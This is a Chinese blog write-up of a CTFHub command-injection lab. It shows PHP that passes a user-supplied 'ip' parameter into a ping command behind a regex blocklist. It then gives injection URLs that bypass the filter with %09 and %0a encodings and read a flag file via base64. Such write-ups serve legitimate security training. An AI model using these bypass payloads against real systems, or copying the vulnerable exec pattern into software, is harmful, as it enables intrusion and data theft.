CTFHUB-综合过滤练习

前言

靶场地址:www.ctfhub.com

综合过滤练习

image

点击查看代码
<?php

$res = FALSE;

if (isset($_GET['ip']) && $_GET['ip']) {
    $ip = $_GET['ip'];
    $m = [];
    if (!preg_match_all("/(\||&|;| |\/|cat|flag|ctfhub)/", $ip, $m)) {
        $cmd = "ping -c 4 {$ip}";
        exec($cmd, $res);
    } else {
        $res = $m;
    }
}
?>

从题目中我们可以看到过滤了目录穿越符 </> 以及空格管道符 cat等
空格--%09
管道符--%0a
目录穿越符--..
cat--strings

先查看当前目录下文件
image

有一个flag文件夹,进入该文件夹查看文件
?ip=127.0.0.1%0Acd%09f***_is_here%0Als#
查看flag文件
image

base64读取文件
?ip=127.0.0.1%0Acd%09f***_is_here%0Abase64%09f***_163003222515414.php#

image

base64解码
image

ctfhub{90f56e1d5b3f637691802eaa}

image

posted @ 2024-01-22 18:06  夜梓月  阅读(32)  评论(0编辑  收藏  举报